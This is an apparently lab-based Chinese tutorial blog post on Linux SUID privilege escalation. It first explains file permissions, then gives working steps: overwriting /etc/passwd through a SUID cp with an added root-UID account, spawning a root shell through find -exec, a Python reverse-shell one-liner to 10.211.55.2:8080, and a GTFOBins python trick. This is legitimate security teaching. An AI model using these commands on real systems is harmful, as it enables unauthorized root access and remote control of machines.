美文网首页
linux 提权-SUID提权

linux 提权-SUID提权

作者: CSeroad | 来源:发表于2021-01-08 14:40 被阅读0次

    前言

    最近想着学习linux提权的一些姿势,这里简单分享学习SUID提权的一些知识点。

    权限解读

    先来父复习一下linux文件的权限分配。
    ls命令用来查看系统上面的文件、目录的权限。

    image.png

    字段的第一个字符表示对象的类型。

    - 代表文件
    d 代表目录
    l 代表链接
    c 代表字符型设备
    b 代表块设备
    n 代表网络设备
    

    之后是每三个字符为一组,每一组定义了3种访问权限。

    r 代表可读的
    w 代表可写的
    x 代表可执行的
    

    这三组分别表示文件所有者(Owner)、用户组(Group)、其它用户(Other Users)。

    来源菜鸟教程
    who 用户类型 说明
    u owner 文件所有者
    g group 文件所有者所在组
    o other 所有其他用户
    a all 所用用户(相当于ugo)

    然后规定用数字4、2和1表示读、写、执行权限。即r=4,w=2,x=1。
    所以

    755表示rwxr-xr-x
    775表示rwxrwxr-x
    600表示-rw-------
    644表示-rw-r--r--
    666表示-rw-rw-rw-
    

    chmod改变权限

    chmod 755 a.txt  赋予文件a.txt权限为-rwxr-xr-x
    chmod ugo+r a.txt  给所有用户添加读的权限,相当于644
    

    chown用来更改某个目录或文件的用户名和用户组
    该命令需要root权限运行

    chown root /tmp/a.txt         把tmp下的a.txt 的所有者设置为root
    chown root:root /tmp/a.txt    把tmp下的a.txt的用户名和用户组改成root和root
    chown -R root:root /tmp/a     把/tmp/a下的所有文件的属组改成root和root 
    -R 表示处理指定目录以及其子目录下的所有文件
    

    而文件权限除了r、w、x外还有s、t、i、a权限。

    s权限,设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份。
    t权限,针对目录,任何用户都可以在此目录中创建文件,但只能删除自己的文件。
    i权限,不可修改的权限。
    a权限,只追加的权限。
    

    SUID和SGID

    SUID
    当执行的文件被赋予了s权限,就被称为Set UID,简称为SUID的特殊权限。八进制数为4000。

    • SUID权限仅对二进制程序有效
    • 执行该程序必须具有x的执行权限,否则s权限并不能真正生效
    • 本权限仅在执行该程序的过程中有效,拥有临时身份
    • 执行者将具有该程序拥有者(owner)的权限

    举个例子:
    linux修改密码的passwd就是个设置了SUID的程序。因为如果普通账号cseroad需要修改密码,就要访问/etc/shadow,但是该文件只有root能访问。那他是怎么修改的呢?原理:
    查看该程序,发现被赋予了s权限。当cseroad需要修改自己的密码时,passwd程序的所有者为root,cseroad用户执行passwd 程序的过程中会暂时获得root权限,所以可以修改/etc/shadow文件。

    image.png

    SGID
    而当s标志出现在用户组的x权限时则称为SGID。八进制数为2000。
    当用户对某一目录有写和执行权限时,该用户就可以在该目录下建立文件,如果该目录用SGID修饰,则该用户在这个目录下建立的文件都是属于这个目录所属的组。(父目录跟随)

    SBIT
    就是Sticky Bit,出现在目录的其他用户执行权限X上,标记为T,八进制数为1000。对目录有效,使用者只能对自己创建的文件或目录进行删除/更名/移动等动作,而无法删除他人文件(除非ROOT)

    赋予s权限:chmod 4755 filename 或者 chmod u+s /usr/bin/find
    取消s权限:chmod 755 filename 或者 chmod u-s /usr/bin/find

    提权复现

    以centos为例。

    1. 查找具有SUID权限的文件
    find / -perm -u=s -type f 2>/dev/null
    
    /表示从文件系统的顶部(根)开始并找到每个目录
    -perm 表示搜索随后的权限
    -u=s表示查找root用户拥有的文件
    -type表示我们正在寻找的文件类型
    f 表示常规文件,而不是目录或特殊文件
    2表示该进程的第二个文件描述符,即stderr(标准错误)
    >表示重定向
    /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
    

    还有额外的几个命令

    find / -user root -perm -4000 -print 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} 
    
    1. 利用命令
      cp 命令
      假如cp命令被赋予了s权限,即chmod 4755 /usr/bin/cp
    image.png

    我们就可以通过覆盖/etc/passwd文件,提权为root

    cat /etc/passwd > password
    openssl passwd -1 -salt vxeroad vxeroad123
    echo 'vxeroad:$1$vxeroad$LMTNFD4f5SV.Rsk1qNnHE0:0:0::/root/:/bin/bash' >> passwd
    cp passwd /etc/passwd
    su - vxeroad
    id
    
    image.png

    默认该命令没有s权限

    image.png

    find命令
    假如find命令被赋予s权限。

    image.png

    创建a.txt文件,执行 /usr/bin/find a.txt -exec /bin/bash -p \;,成功提权。

    image.png

    这里注意的是新版Linux系统对子进程的suid权限进行了限制,不同的操作系统结果也会不一样。
    具体细节参考 https://cloud.tencent.com/developer/article/1674144

    利用python可反弹得到root权限的shell

    /usr/bin/find b.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
    

    python命令
    根据https://gtfobins.github.io/ 查找python利用姿势。

    sudo install -m =xs $(which python) .
    ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
    

    条件是sudo安装时需要输入当前用户密码。

    image.png

    总结

    在实战过程中,多查看https://gtfobins.github.io/ 是否存在SUID提权,以及使用searchsploit命令查看某程序是否存在本地提权漏洞。

    参考资料

    https://yoga7xm.top/2019/06/14/suid/
    http://www.361way.com/suid-privilege/5965.html

    相关文章

      网友评论

          本文标题:linux 提权-SUID提权

          本文链接:https://www.haomeiwen.com/subject/zgvnoktx.html